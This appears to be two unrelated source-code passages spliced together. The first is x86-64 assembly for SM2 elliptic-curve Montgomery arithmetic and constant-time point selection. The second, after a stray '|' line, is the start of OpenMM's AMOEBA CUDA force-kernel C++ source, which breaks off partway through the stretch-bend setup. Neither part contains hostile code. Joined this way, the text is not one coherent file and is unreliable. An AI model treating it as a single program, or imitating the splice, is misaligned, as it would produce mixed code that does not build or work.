shr $(32), %r15
mov %r10, %rcx
mov %r10, %rax
xor %rbp, %rbp
xor %rdx, %rdx
sub %r14, %rcx
sbb %r15, %rbp
sbb %r14, %rdx
sbb %r15, %rax
add %rcx, %r11
adc %rbp, %r12
adc %rdx, %r13
adc %rax, %r8
adc $(0), %r9
xor %r10, %r10
movq (24)(%rbx), %rax
mulq (%rsi)
add %rax, %r11
adc $(0), %rdx
mov %rdx, %rcx
movq (24)(%rbx), %rax
mulq (8)(%rsi)
add %rcx, %r12
adc $(0), %rdx
add %rax, %r12
adc $(0), %rdx
mov %rdx, %rcx
movq (24)(%rbx), %rax
mulq (16)(%rsi)
add %rcx, %r13
adc $(0), %rdx
add %rax, %r13
adc $(0), %rdx
mov %rdx, %rcx
movq (24)(%rbx), %rax
mulq (24)(%rsi)
add %rcx, %r8
adc $(0), %rdx
add %rax, %r8
adc %rdx, %r9
adc $(0), %r10
mov %r11, %r14
shl $(32), %r14
mov %r11, %r15
shr $(32), %r15
mov %r11, %rcx
mov %r11, %rax
xor %rbp, %rbp
xor %rdx, %rdx
sub %r14, %rcx
sbb %r15, %rbp
sbb %r14, %rdx
sbb %r15, %rax
add %rcx, %r12
adc %rbp, %r13
adc %rdx, %r8
adc %rax, %r9
adc $(0), %r10
xor %r11, %r11
movq Lpoly+0(%rip), %rcx
movq Lpoly+8(%rip), %rbp
movq Lpoly+16(%rip), %rbx
movq Lpoly+24(%rip), %rdx
mov %r12, %rax
mov %r13, %r11
mov %r8, %r14
mov %r9, %r15
sub %rcx, %rax
sbb %rbp, %r11
sbb %rbx, %r14
sbb %rdx, %r15
sbb $(0), %r10
cmovnc %rax, %r12
cmovnc %r11, %r13
cmovnc %r14, %r8
cmovnc %r15, %r9
movq %r12, (%rdi)
movq %r13, (8)(%rdi)
movq %r8, (16)(%rdi)
movq %r9, (24)(%rdi)
ret
.p2align 4, 0x90
.globl sm2_mul_montl
.type sm2_mul_montl, @function
sm2_mul_montl:
push %rbp
push %rbx
push %r12
push %r13
push %r14
push %r15
mov %rdx, %rbx
call sm2_mmull
pop %r15
pop %r14
pop %r13
pop %r12
pop %rbx
pop %rbp
ret
.Lfe7:
.size sm2_mul_montl, .Lfe7-(sm2_mul_montl)
.p2align 4, 0x90
.globl sm2_to_mont
.type sm2_to_mont, @function
sm2_to_mont:
push %rbp
push %rbx
push %r12
push %r13
push %r14
push %r15
lea LRR(%rip), %rbx
call sm2_mmull
pop %r15
pop %r14
pop %r13
pop %r12
pop %rbx
pop %rbp
ret
.Lfe8:
.size sm2_to_mont, .Lfe8-(sm2_to_mont)
.p2align 4, 0x90
.globl sm2_sqr_montl
.type sm2_sqr_montl, @function
sm2_sqr_montl:
push %rbp
push %rbx
push %r12
push %r13
push %r14
push %r15
movq (%rsi), %rbx
movq (8)(%rsi), %rax
mul %rbx
mov %rax, %r9
mov %rdx, %r10
movq (16)(%rsi), %rax
mul %rbx
add %rax, %r10
adc $(0), %rdx
mov %rdx, %r11
movq (24)(%rsi), %rax
mul %rbx
add %rax, %r11
adc $(0), %rdx
mov %rdx, %r12
movq (8)(%rsi), %rbx
movq (16)(%rsi), %rax
mul %rbx
add %rax, %r11
adc $(0), %rdx
mov %rdx, %rbp
movq (24)(%rsi), %rax
mul %rbx
add %rax, %r12
adc $(0), %rdx
add %rbp, %r12
adc $(0), %rdx
mov %rdx, %r13
movq (16)(%rsi), %rbx
movq (24)(%rsi), %rax
mul %rbx
add %rax, %r13
adc $(0), %rdx
mov %rdx, %r14
xor %r15, %r15
shld $(1), %r14, %r15
shld $(1), %r13, %r14
shld $(1), %r12, %r13
shld $(1), %r11, %r12
shld $(1), %r10, %r11
shld $(1), %r9, %r10
shl $(1), %r9
movq (%rsi), %rax
mul %rax
mov %rax, %r8
add %rdx, %r9
adc $(0), %r10
movq (8)(%rsi), %rax
mul %rax
add %rax, %r10
adc %rdx, %r11
adc $(0), %r12
movq (16)(%rsi), %rax
mul %rax
add %rax, %r12
adc %rdx, %r13
adc $(0), %r14
movq (24)(%rsi), %rax
mul %rax
add %rax, %r14
adc %rdx, %r15
mov %r8, %rax
mov %r8, %rcx
mov %r8, %rdx
xor %rbp, %rbp
xor %rbx, %rbx
shl $(32), %r8
shr $(32), %rax
sub %r8, %rcx
sbb %rax, %rbp
sbb %r8, %rbx
sbb %rax, %rdx
xor %r8, %r8
add %rcx, %r9
adc %rbp, %r10
adc %rbx, %r11
adc %rdx, %r12
adc $(0), %r8
mov %r9, %rax
mov %r9, %rcx
mov %r9, %rdx
xor %rbp, %rbp
xor %rbx, %rbx
shl $(32), %r9
shr $(32), %rax
sub %r9, %rcx
sbb %rax, %rbp
sbb %r9, %rbx
sbb %rax, %rdx
xor %r9, %r9
add %rcx, %r10
adc %rbp, %r11
adc %rbx, %r12
adc %rdx, %r13
adc $(0), %r9
add %r8, %r13
adc $(0), %r9
mov %r10, %rax
mov %r10, %rcx
mov %r10, %rdx
xor %rbp, %rbp
xor %rbx, %rbx
shl $(32), %r10
shr $(32), %rax
sub %r10, %rcx
sbb %rax, %rbp
sbb %r10, %rbx
sbb %rax, %rdx
xor %r10, %r10
add %rcx, %r11
adc %rbp, %r12
adc %rbx, %r13
adc %rdx, %r14
adc $(0), %r10
add %r9, %r14
adc $(0), %r10
mov %r11, %rax
mov %r11, %rcx
mov %r11, %rdx
xor %rbp, %rbp
xor %rbx, %rbx
shl $(32), %r11
shr $(32), %rax
sub %r11, %rcx
sbb %rax, %rbp
sbb %r11, %rbx
sbb %rax, %rdx
xor %r11, %r11
add %rcx, %r12
adc %rbp, %r13
adc %rbx, %r14
adc %rdx, %r15
adc $(0), %r11
add %r10, %r15
adc $(0), %r11
movq Lpoly+0(%rip), %rcx
movq Lpoly+8(%rip), %rbp
movq Lpoly+16(%rip), %rbx
movq Lpoly+24(%rip), %rdx
mov %r12, %rax
mov %r13, %r8
mov %r14, %r9
mov %r15, %r10
sub %rcx, %rax
sbb %rbp, %r8
sbb %rbx, %r9
sbb %rdx, %r10
sbb $(0), %r11
cmovnc %rax, %r12
cmovnc %r8, %r13
cmovnc %r9, %r14
cmovnc %r10, %r15
movq %r12, (%rdi)
movq %r13, (8)(%rdi)
movq %r14, (16)(%rdi)
movq %r15, (24)(%rdi)
pop %r15
pop %r14
pop %r13
pop %r12
pop %rbx
pop %rbp
ret
.Lfe9:
.size sm2_sqr_montl, .Lfe9-(sm2_sqr_montl)
.p2align 4, 0x90
.globl sm2_mont_back
.type sm2_mont_back, @function
sm2_mont_back:
push %rbp
push %rbx
push %r12
push %r13
push %r14
push %r15
movq (%rsi), %r10
movq (8)(%rsi), %r11
movq (16)(%rsi), %r12
movq (24)(%rsi), %r13
xor %r8, %r8
xor %r9, %r9
mov %r10, %r14
shl $(32), %r14
mov %r10, %r15
shr $(32), %r15
mov %r10, %rcx
mov %r10, %rax
xor %rbp, %rbp
xor %rdx, %rdx
sub %r14, %rcx
sbb %r15, %rbp
sbb %r14, %rdx
sbb %r15, %rax
add %rcx, %r11
adc %rbp, %r12
adc %rdx, %r13
adc %rax, %r8
adc $(0), %r9
xor %r10, %r10
mov %r11, %r14
shl $(32), %r14
mov %r11, %r15
shr $(32), %r15
mov %r11, %rcx
mov %r11, %rax
xor %rbp, %rbp
xor %rdx, %rdx
sub %r14, %rcx
sbb %r15, %rbp
sbb %r14, %rdx
sbb %r15, %rax
add %rcx, %r12
adc %rbp, %r13
adc %rdx, %r8
adc %rax, %r9
adc $(0), %r10
xor %r11, %r11
mov %r12, %r14
shl $(32), %r14
mov %r12, %r15
shr $(32), %r15
mov %r12, %rcx
mov %r12, %rax
xor %rbp, %rbp
xor %rdx, %rdx
sub %r14, %rcx
sbb %r15, %rbp
sbb %r14, %rdx
sbb %r15, %rax
add %rcx, %r13
adc %rbp, %r8
adc %rdx, %r9
adc %rax, %r10
adc $(0), %r11
xor %r12, %r12
mov %r13, %r14
shl $(32), %r14
mov %r13, %r15
shr $(32), %r15
mov %r13, %rcx
mov %r13, %rax
xor %rbp, %rbp
xor %rdx, %rdx
sub %r14, %rcx
sbb %r15, %rbp
sbb %r14, %rdx
sbb %r15, %rax
add %rcx, %r8
adc %rbp, %r9
adc %rdx, %r10
adc %rax, %r11
adc $(0), %r12
xor %r13, %r13
mov %r8, %rcx
mov %r9, %rbp
mov %r10, %rbx
mov %r11, %rdx
subq Lpoly+0(%rip), %rcx
sbbq Lpoly+8(%rip), %rbp
sbbq Lpoly+16(%rip), %rbx
sbbq Lpoly+24(%rip), %rdx
sbb $(0), %r12
cmovnc %rcx, %r8
cmovnc %rbp, %r9
cmovnc %rbx, %r10
cmovnc %rdx, %r11
movq %r8, (%rdi)
movq %r9, (8)(%rdi)
movq %r10, (16)(%rdi)
movq %r11, (24)(%rdi)
pop %r15
pop %r14
pop %r13
pop %r12
pop %rbx
pop %rbp
ret
.Lfe10:
.size sm2_mont_back, .Lfe10-(sm2_mont_back)
.p2align 4, 0x90
.globl sm2_select_pp_w5
.type sm2_select_pp_w5, @function
sm2_select_pp_w5:
push %r12
push %r13
movdqa LOne(%rip), %xmm0
movdqa %xmm0, %xmm8
movd %edx, %xmm1
pshufd $(0), %xmm1, %xmm1
pxor %xmm2, %xmm2
pxor %xmm3, %xmm3
pxor %xmm4, %xmm4
pxor %xmm5, %xmm5
pxor %xmm6, %xmm6
pxor %xmm7, %xmm7
mov $(16), %rcx
.Lselect_loop_sse_w5gas_11:
movdqa %xmm8, %xmm15
pcmpeqd %xmm1, %xmm15
paddd %xmm0, %xmm8
movdqa (%rsi), %xmm9
movdqa (16)(%rsi), %xmm10
movdqa (32)(%rsi), %xmm11
movdqa (48)(%rsi), %xmm12
movdqa (64)(%rsi), %xmm13
movdqa (80)(%rsi), %xmm14
add $(96), %rsi
pand %xmm15, %xmm9
pand %xmm15, %xmm10
pand %xmm15, %xmm11
pand %xmm15, %xmm12
pand %xmm15, %xmm13
pand %xmm15, %xmm14
por %xmm9, %xmm2
por %xmm10, %xmm3
por %xmm11, %xmm4
por %xmm12, %xmm5
por %xmm13, %xmm6
por %xmm14, %xmm7
dec %rcx
jnz .Lselect_loop_sse_w5gas_11
movdqu %xmm2, (%rdi)
movdqu %xmm3, (16)(%rdi)
movdqu %xmm4, (32)(%rdi)
movdqu %xmm5, (48)(%rdi)
movdqu %xmm6, (64)(%rdi)
movdqu %xmm7, (80)(%rdi)
pop %r13
pop %r12
ret
.Lfe11:
.size sm2_select_pp_w5, .Lfe11-(sm2_select_pp_w5)
.p2align 4, 0x90
.globl sm2_select_ap_w7
.type sm2_select_ap_w7, @function
sm2_select_ap_w7:
push %r12
push %r13
movdqa LOne(%rip), %xmm0
pxor %xmm2, %xmm2
pxor %xmm3, %xmm3
pxor %xmm4, %xmm4
pxor %xmm5, %xmm5
movdqa %xmm0, %xmm8
movd %edx, %xmm1
pshufd $(0), %xmm1, %xmm1
mov $(64), %rcx
.Lselect_loop_sse_w7gas_12:
movdqa %xmm8, %xmm15
pcmpeqd %xmm1, %xmm15
paddd %xmm0, %xmm8
movdqa (%rsi), %xmm9
movdqa (16)(%rsi), %xmm10
movdqa (32)(%rsi), %xmm11
movdqa (48)(%rsi), %xmm12
add $(64), %rsi
pand %xmm15, %xmm9
pand %xmm15, %xmm10
pand %xmm15, %xmm11
pand %xmm15, %xmm12
por %xmm9, %xmm2
por %xmm10, %xmm3
por %xmm11, %xmm4
por %xmm12, %xmm5
dec %rcx
jnz .Lselect_loop_sse_w7gas_12
movdqu %xmm2, (%rdi)
movdqu %xmm3, (16)(%rdi)
movdqu %xmm4, (32)(%rdi)
movdqu %xmm5, (48)(%rdi)
pop %r13
pop %r12
ret
.Lfe12:
.size sm2_select_ap_w7, .Lfe12-(sm2_select_ap_w7)
|
/* -------------------------------------------------------------------------- *
* OpenMMAmoeba *
* -------------------------------------------------------------------------- *
* This is part of the OpenMM molecular simulation toolkit originating from *
* Simbios, the NIH National Center for Physics-Based Simulation of *
* Biological Structures at Stanford, funded under the NIH Roadmap for *
* Medical Research, grant U54 GM072970. See https://simtk.org. *
* *
* Portions copyright (c) 2008-2018 Stanford University and the Authors. *
* Authors: Peter Eastman, Mark Friedrichs *
* Contributors: *
* *
* This program is free software: you can redistribute it and/or modify *
* it under the terms of the GNU Lesser General Public License as published *
* by the Free Software Foundation, either version 3 of the License, or *
* (at your option) any later version. *
* *
* This program is distributed in the hope that it will be useful, *
* but WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
* GNU Lesser General Public License for more details. *
* *
* You should have received a copy of the GNU Lesser General Public License *
* along with this program. If not, see <http://www.gnu.org/licenses/>. *
* -------------------------------------------------------------------------- */
#ifdef WIN32
#define _USE_MATH_DEFINES // Needed to get M_PI
#endif
#include "AmoebaCudaKernels.h"
#include "CudaAmoebaKernelSources.h"
#include "openmm/internal/ContextImpl.h"
#include "openmm/internal/AmoebaGeneralizedKirkwoodForceImpl.h"
#include "openmm/internal/AmoebaMultipoleForceImpl.h"
#include "openmm/internal/AmoebaWcaDispersionForceImpl.h"
#include "openmm/internal/AmoebaTorsionTorsionForceImpl.h"
#include "openmm/internal/AmoebaVdwForceImpl.h"
#include "openmm/internal/NonbondedForceImpl.h"
#include "CudaBondedUtilities.h"
#include "CudaFFT3D.h"
#include "CudaForceInfo.h"
#include "CudaKernelSources.h"
#include "jama_lu.h"
#include <algorithm>
#include <cmath>
#ifdef _MSC_VER
#include <windows.h>
#endif
using namespace OpenMM;
using namespace std;
#define CHECK_RESULT(result, prefix) \
if (result != CUDA_SUCCESS) { \
std::stringstream m; \
m<<prefix<<": "<<cu.getErrorString(result)<<" ("<<result<<")"<<" at "<<__FILE__<<":"<<__LINE__; \
throw OpenMMException(m.str());\
}
/* -------------------------------------------------------------------------- *
* AmoebaBondForce *
* -------------------------------------------------------------------------- */
class CudaCalcAmoebaBondForceKernel::ForceInfo : public CudaForceInfo {
public:
ForceInfo(const AmoebaBondForce& force) : force(force) {
}
int getNumParticleGroups() {
return force.getNumBonds();
}
void getParticlesInGroup(int index, std::vector<int>& particles) {
int particle1, particle2;
double length, k;
force.getBondParameters(index, particle1, particle2, length, k);
particles.resize(2);
particles[0] = particle1;
particles[1] = particle2;
}
bool areGroupsIdentical(int group1, int group2) {
int particle1, particle2;
double length1, length2, k1, k2;
force.getBondParameters(group1, particle1, particle2, length1, k1);
force.getBondParameters(group2, particle1, particle2, length2, k2);
return (length1 == length2 && k1 == k2);
}
private:
const AmoebaBondForce& force;
};
CudaCalcAmoebaBondForceKernel::CudaCalcAmoebaBondForceKernel(const std::string& name, const Platform& platform, CudaContext& cu, const System& system) :
CalcAmoebaBondForceKernel(name, platform), cu(cu), system(system) {
}
void CudaCalcAmoebaBondForceKernel::initialize(const System& system, const AmoebaBondForce& force) {
cu.setAsCurrent();
int numContexts = cu.getPlatformData().contexts.size();
int startIndex = cu.getContextIndex()*force.getNumBonds()/numContexts;
int endIndex = (cu.getContextIndex()+1)*force.getNumBonds()/numContexts;
numBonds = endIndex-startIndex;
if (numBonds == 0)
return;
vector<vector<int> > atoms(numBonds, vector<int>(2));
params.initialize<float2>(cu, numBonds, "bondParams");
vector<float2> paramVector(numBonds);
for (int i = 0; i < numBonds; i++) {
double length, k;
force.getBondParameters(startIndex+i, atoms[i][0], atoms[i][1], length, k);
paramVector[i] = make_float2((float) length, (float) k);
}
params.upload(paramVector);
map<string, string> replacements;
replacements["APPLY_PERIODIC"] = (force.usesPeriodicBoundaryConditions() ? "1" : "0");
replacements["COMPUTE_FORCE"] = CudaAmoebaKernelSources::amoebaBondForce;
replacements["PARAMS"] = cu.getBondedUtilities().addArgument(params.getDevicePointer(), "float2");
replacements["CUBIC_K"] = cu.doubleToString(force.getAmoebaGlobalBondCubic());
replacements["QUARTIC_K"] = cu.doubleToString(force.getAmoebaGlobalBondQuartic());
cu.getBondedUtilities().addInteraction(atoms, cu.replaceStrings(CudaKernelSources::bondForce, replacements), force.getForceGroup());
cu.addForce(new ForceInfo(force));
}
double CudaCalcAmoebaBondForceKernel::execute(ContextImpl& context, bool includeForces, bool includeEnergy) {
return 0.0;
}
void CudaCalcAmoebaBondForceKernel::copyParametersToContext(ContextImpl& context, const AmoebaBondForce& force) {
cu.setAsCurrent();
int numContexts = cu.getPlatformData().contexts.size();
int startIndex = cu.getContextIndex()*force.getNumBonds()/numContexts;
int endIndex = (cu.getContextIndex()+1)*force.getNumBonds()/numContexts;
if (numBonds != endIndex-startIndex)
throw OpenMMException("updateParametersInContext: The number of bonds has changed");
if (numBonds == 0)
return;
// Record the per-bond parameters.
vector<float2> paramVector(numBonds);
for (int i = 0; i < numBonds; i++) {
int atom1, atom2;
double length, k;
force.getBondParameters(startIndex+i, atom1, atom2, length, k);
paramVector[i] = make_float2((float) length, (float) k);
}
params.upload(paramVector);
// Mark that the current reordering may be invalid.
cu.invalidateMolecules();
}
/* -------------------------------------------------------------------------- *
* AmoebaAngleForce *
* -------------------------------------------------------------------------- */
class CudaCalcAmoebaAngleForceKernel::ForceInfo : public CudaForceInfo {
public:
ForceInfo(const AmoebaAngleForce& force) : force(force) {
}
int getNumParticleGroups() {
return force.getNumAngles();
}
void getParticlesInGroup(int index, std::vector<int>& particles) {
int particle1, particle2, particle3;
double angle, k;
force.getAngleParameters(index, particle1, particle2, particle3, angle, k);
particles.resize(3);
particles[0] = particle1;
particles[1] = particle2;
particles[2] = particle3;
}
bool areGroupsIdentical(int group1, int group2) {
int particle1, particle2, particle3;
double angle1, angle2, k1, k2;
force.getAngleParameters(group1, particle1, particle2, particle3, angle1, k1);
force.getAngleParameters(group2, particle1, particle2, particle3, angle2, k2);
return (angle1 == angle2 && k1 == k2);
}
private:
const AmoebaAngleForce& force;
};
CudaCalcAmoebaAngleForceKernel::CudaCalcAmoebaAngleForceKernel(const std::string& name, const Platform& platform, CudaContext& cu, const System& system) :
CalcAmoebaAngleForceKernel(name, platform), cu(cu), system(system) {
}
void CudaCalcAmoebaAngleForceKernel::initialize(const System& system, const AmoebaAngleForce& force) {
cu.setAsCurrent();
int numContexts = cu.getPlatformData().contexts.size();
int startIndex = cu.getContextIndex()*force.getNumAngles()/numContexts;
int endIndex = (cu.getContextIndex()+1)*force.getNumAngles()/numContexts;
numAngles = endIndex-startIndex;
if (numAngles == 0)
return;
vector<vector<int> > atoms(numAngles, vector<int>(3));
params.initialize<float2>(cu, numAngles, "angleParams");
vector<float2> paramVector(numAngles);
for (int i = 0; i < numAngles; i++) {
double angle, k;
force.getAngleParameters(startIndex+i, atoms[i][0], atoms[i][1], atoms[i][2], angle, k);
paramVector[i] = make_float2((float) angle, (float) k);
}
params.upload(paramVector);
map<string, string> replacements;
replacements["APPLY_PERIODIC"] = (force.usesPeriodicBoundaryConditions() ? "1" : "0");
replacements["COMPUTE_FORCE"] = CudaAmoebaKernelSources::amoebaAngleForce;
replacements["PARAMS"] = cu.getBondedUtilities().addArgument(params.getDevicePointer(), "float2");
replacements["CUBIC_K"] = cu.doubleToString(force.getAmoebaGlobalAngleCubic());
replacements["QUARTIC_K"] = cu.doubleToString(force.getAmoebaGlobalAngleQuartic());
replacements["PENTIC_K"] = cu.doubleToString(force.getAmoebaGlobalAnglePentic());
replacements["SEXTIC_K"] = cu.doubleToString(force.getAmoebaGlobalAngleSextic());
replacements["RAD_TO_DEG"] = cu.doubleToString(180/M_PI);
cu.getBondedUtilities().addInteraction(atoms, cu.replaceStrings(CudaKernelSources::angleForce, replacements), force.getForceGroup());
cu.addForce(new ForceInfo(force));
}
double CudaCalcAmoebaAngleForceKernel::execute(ContextImpl& context, bool includeForces, bool includeEnergy) {
return 0.0;
}
void CudaCalcAmoebaAngleForceKernel::copyParametersToContext(ContextImpl& context, const AmoebaAngleForce& force) {
cu.setAsCurrent();
int numContexts = cu.getPlatformData().contexts.size();
int startIndex = cu.getContextIndex()*force.getNumAngles()/numContexts;
int endIndex = (cu.getContextIndex()+1)*force.getNumAngles()/numContexts;
if (numAngles != endIndex-startIndex)
throw OpenMMException("updateParametersInContext: The number of angles has changed");
if (numAngles == 0)
return;
// Record the per-angle parameters.
vector<float2> paramVector(numAngles);
for (int i = 0; i < numAngles; i++) {
int atom1, atom2, atom3;
double angle, k;
force.getAngleParameters(startIndex+i, atom1, atom2, atom3, angle, k);
paramVector[i] = make_float2((float) angle, (float) k);
}
params.upload(paramVector);
// Mark that the current reordering may be invalid.
cu.invalidateMolecules();
}
/* -------------------------------------------------------------------------- *
* AmoebaInPlaneAngleForce *
* -------------------------------------------------------------------------- */
class CudaCalcAmoebaInPlaneAngleForceKernel::ForceInfo : public CudaForceInfo {
public:
ForceInfo(const AmoebaInPlaneAngleForce& force) : force(force) {
}
int getNumParticleGroups() {
return force.getNumAngles();
}
void getParticlesInGroup(int index, std::vector<int>& particles) {
int particle1, particle2, particle3, particle4;
double angle, k;
force.getAngleParameters(index, particle1, particle2, particle3, particle4, angle, k);
particles.resize(4);
particles[0] = particle1;
particles[1] = particle2;
particles[2] = particle3;
particles[3] = particle4;
}
bool areGroupsIdentical(int group1, int group2) {
int particle1, particle2, particle3, particle4;
double angle1, angle2, k1, k2;
force.getAngleParameters(group1, particle1, particle2, particle3, particle4, angle1, k1);
force.getAngleParameters(group2, particle1, particle2, particle3, particle4, angle2, k2);
return (angle1 == angle2 && k1 == k2);
}
private:
const AmoebaInPlaneAngleForce& force;
};
CudaCalcAmoebaInPlaneAngleForceKernel::CudaCalcAmoebaInPlaneAngleForceKernel(const std::string& name, const Platform& platform, CudaContext& cu, const System& system) :
CalcAmoebaInPlaneAngleForceKernel(name, platform), cu(cu), system(system) {
}
void CudaCalcAmoebaInPlaneAngleForceKernel::initialize(const System& system, const AmoebaInPlaneAngleForce& force) {
cu.setAsCurrent();
int numContexts = cu.getPlatformData().contexts.size();
int startIndex = cu.getContextIndex()*force.getNumAngles()/numContexts;
int endIndex = (cu.getContextIndex()+1)*force.getNumAngles()/numContexts;
numAngles = endIndex-startIndex;
if (numAngles == 0)
return;
vector<vector<int> > atoms(numAngles, vector<int>(4));
params.initialize<float2>(cu, numAngles, "angleParams");
vector<float2> paramVector(numAngles);
for (int i = 0; i < numAngles; i++) {
double angle, k;
force.getAngleParameters(startIndex+i, atoms[i][0], atoms[i][1], atoms[i][2], atoms[i][3], angle, k);
paramVector[i] = make_float2((float) angle, (float) k);
}
params.upload(paramVector);
map<string, string> replacements;
replacements["APPLY_PERIODIC"] = (force.usesPeriodicBoundaryConditions() ? "1" : "0");
replacements["PARAMS"] = cu.getBondedUtilities().addArgument(params.getDevicePointer(), "float2");
replacements["CUBIC_K"] = cu.doubleToString(force.getAmoebaGlobalInPlaneAngleCubic());
replacements["QUARTIC_K"] = cu.doubleToString(force.getAmoebaGlobalInPlaneAngleQuartic());
replacements["PENTIC_K"] = cu.doubleToString(force.getAmoebaGlobalInPlaneAnglePentic());
replacements["SEXTIC_K"] = cu.doubleToString(force.getAmoebaGlobalInPlaneAngleSextic());
replacements["RAD_TO_DEG"] = cu.doubleToString(180/M_PI);
cu.getBondedUtilities().addInteraction(atoms, cu.replaceStrings(CudaAmoebaKernelSources::amoebaInPlaneForce, replacements), force.getForceGroup());
cu.addForce(new ForceInfo(force));
}
double CudaCalcAmoebaInPlaneAngleForceKernel::execute(ContextImpl& context, bool includeForces, bool includeEnergy) {
return 0.0;
}
void CudaCalcAmoebaInPlaneAngleForceKernel::copyParametersToContext(ContextImpl& context, const AmoebaInPlaneAngleForce& force) {
cu.setAsCurrent();
int numContexts = cu.getPlatformData().contexts.size();
int startIndex = cu.getContextIndex()*force.getNumAngles()/numContexts;
int endIndex = (cu.getContextIndex()+1)*force.getNumAngles()/numContexts;
if (numAngles != endIndex-startIndex)
throw OpenMMException("updateParametersInContext: The number of in-plane angles has changed");
if (numAngles == 0)
return;
// Record the per-angle parameters.
vector<float2> paramVector(numAngles);
for (int i = 0; i < numAngles; i++) {
int atom1, atom2, atom3, atom4;
double angle, k;
force.getAngleParameters(startIndex+i, atom1, atom2, atom3, atom4, angle, k);
paramVector[i] = make_float2((float) angle, (float) k);
}
params.upload(paramVector);
// Mark that the current reordering may be invalid.
cu.invalidateMolecules();
}
/* -------------------------------------------------------------------------- *
* AmoebaPiTorsion *
* -------------------------------------------------------------------------- */
class CudaCalcAmoebaPiTorsionForceKernel::ForceInfo : public CudaForceInfo {
public:
ForceInfo(const AmoebaPiTorsionForce& force) : force(force) {
}
int getNumParticleGroups() {
return force.getNumPiTorsions();
}
void getParticlesInGroup(int index, std::vector<int>& particles) {
int particle1, particle2, particle3, particle4, particle5, particle6;
double k;
force.getPiTorsionParameters(index, particle1, particle2, particle3, particle4, particle5, particle6, k);
particles.resize(6);
particles[0] = particle1;
particles[1] = particle2;
particles[2] = particle3;
particles[3] = particle4;
particles[4] = particle5;
particles[5] = particle6;
}
bool areGroupsIdentical(int group1, int group2) {
int particle1, particle2, particle3, particle4, particle5, particle6;
double k1, k2;
force.getPiTorsionParameters(group1, particle1, particle2, particle3, particle4, particle5, particle6, k1);
force.getPiTorsionParameters(group2, particle1, particle2, particle3, particle4, particle5, particle6, k2);
return (k1 == k2);
}
private:
const AmoebaPiTorsionForce& force;
};
CudaCalcAmoebaPiTorsionForceKernel::CudaCalcAmoebaPiTorsionForceKernel(const std::string& name, const Platform& platform, CudaContext& cu, const System& system) :
CalcAmoebaPiTorsionForceKernel(name, platform), cu(cu), system(system) {
}
void CudaCalcAmoebaPiTorsionForceKernel::initialize(const System& system, const AmoebaPiTorsionForce& force) {
cu.setAsCurrent();
int numContexts = cu.getPlatformData().contexts.size();
int startIndex = cu.getContextIndex()*force.getNumPiTorsions()/numContexts;
int endIndex = (cu.getContextIndex()+1)*force.getNumPiTorsions()/numContexts;
numPiTorsions = endIndex-startIndex;
if (numPiTorsions == 0)
return;
vector<vector<int> > atoms(numPiTorsions, vector<int>(6));
params.initialize<float>(cu, numPiTorsions, "piTorsionParams");
vector<float> paramVector(numPiTorsions);
for (int i = 0; i < numPiTorsions; i++) {
double k;
force.getPiTorsionParameters(startIndex+i, atoms[i][0], atoms[i][1], atoms[i][2], atoms[i][3], atoms[i][4], atoms[i][5], k);
paramVector[i] = (float) k;
}
params.upload(paramVector);
map<string, string> replacements;
replacements["APPLY_PERIODIC"] = (force.usesPeriodicBoundaryConditions() ? "1" : "0");
replacements["PARAMS"] = cu.getBondedUtilities().addArgument(params.getDevicePointer(), "float");
cu.getBondedUtilities().addInteraction(atoms, cu.replaceStrings(CudaAmoebaKernelSources::amoebaPiTorsionForce, replacements), force.getForceGroup());
cu.addForce(new ForceInfo(force));
}
double CudaCalcAmoebaPiTorsionForceKernel::execute(ContextImpl& context, bool includeForces, bool includeEnergy) {
return 0.0;
}
void CudaCalcAmoebaPiTorsionForceKernel::copyParametersToContext(ContextImpl& context, const AmoebaPiTorsionForce& force) {
cu.setAsCurrent();
int numContexts = cu.getPlatformData().contexts.size();
int startIndex = cu.getContextIndex()*force.getNumPiTorsions()/numContexts;
int endIndex = (cu.getContextIndex()+1)*force.getNumPiTorsions()/numContexts;
if (numPiTorsions != endIndex-startIndex)
throw OpenMMException("updateParametersInContext: The number of torsions has changed");
if (numPiTorsions == 0)
return;
// Record the per-torsion parameters.
vector<float> paramVector(numPiTorsions);
for (int i = 0; i < numPiTorsions; i++) {
int atom1, atom2, atom3, atom4, atom5, atom6;
double k;
force.getPiTorsionParameters(startIndex+i, atom1, atom2, atom3, atom4, atom5, atom6, k);
paramVector[i] = (float) k;
}
params.upload(paramVector);
// Mark that the current reordering may be invalid.
cu.invalidateMolecules();
}
/* -------------------------------------------------------------------------- *
* AmoebaStretchBend *
* -------------------------------------------------------------------------- */
class CudaCalcAmoebaStretchBendForceKernel::ForceInfo : public CudaForceInfo {
public:
ForceInfo(const AmoebaStretchBendForce& force) : force(force) {
}
int getNumParticleGroups() {
return force.getNumStretchBends();
}
void getParticlesInGroup(int index, std::vector<int>& particles) {
int particle1, particle2, particle3;
double lengthAB, lengthCB, angle, k1, k2;
force.getStretchBendParameters(index, particle1, particle2, particle3, lengthAB, lengthCB, angle, k1, k2);
particles.resize(3);
particles[0] = particle1;
particles[1] = particle2;
particles[2] = particle3;
}
bool areGroupsIdentical(int group1, int group2) {
int particle1, particle2, particle3;
double lengthAB1, lengthAB2, lengthCB1, lengthCB2, angle1, angle2, k11, k12, k21, k22;
force.getStretchBendParameters(group1, particle1, particle2, particle3, lengthAB1, lengthCB1, angle1, k11, k12);
force.getStretchBendParameters(group2, particle1, particle2, particle3, lengthAB2, lengthCB2, angle2, k21, k22);
return (lengthAB1 == lengthAB2 && lengthCB1 == lengthCB2 && angle1 == angle2 && k11 == k21 && k12 == k22);
}
private:
const AmoebaStretchBendForce& force;
};
CudaCalcAmoebaStretchBendForceKernel::CudaCalcAmoebaStretchBendForceKernel(const std::string& name, const Platform& platform, CudaContext& cu, const System& system) :
CalcAmoebaStretchBendForceKernel(name, platform), cu(cu), system(system) {
}
void CudaCalcAmoebaStretchBendForceKernel::initialize(const System& system, const AmoebaStretchBendForce& force) {
cu.setAsCurrent();
int numContexts = cu.getPlatformData().contexts.size();
int startIndex = cu.getContextIndex()*force.getNumStretchBends()/numContexts;
int endIndex = (cu.getContextIndex()+1)*force.getNumStretchBends()/numContexts;
numStretchBends = endIndex-startIndex;
if (numStretchBends == 0)
return;
vector<vector<int> > atoms(numStretchBends, vector<int>(3));
params1.initialize<float3>(cu, numStretchBends, "stretchBendParams");
params2.initialize<float2>(cu, numStretchBends, "stretchBendForceConstants");
vector<float3> paramVector(numStretchBends);
vector<float2> paramVectorK(numStretchBends);
for (int i = 0; i < numStretchBends; i++) {
double lengthAB, lengthCB, angle, k1, k2;
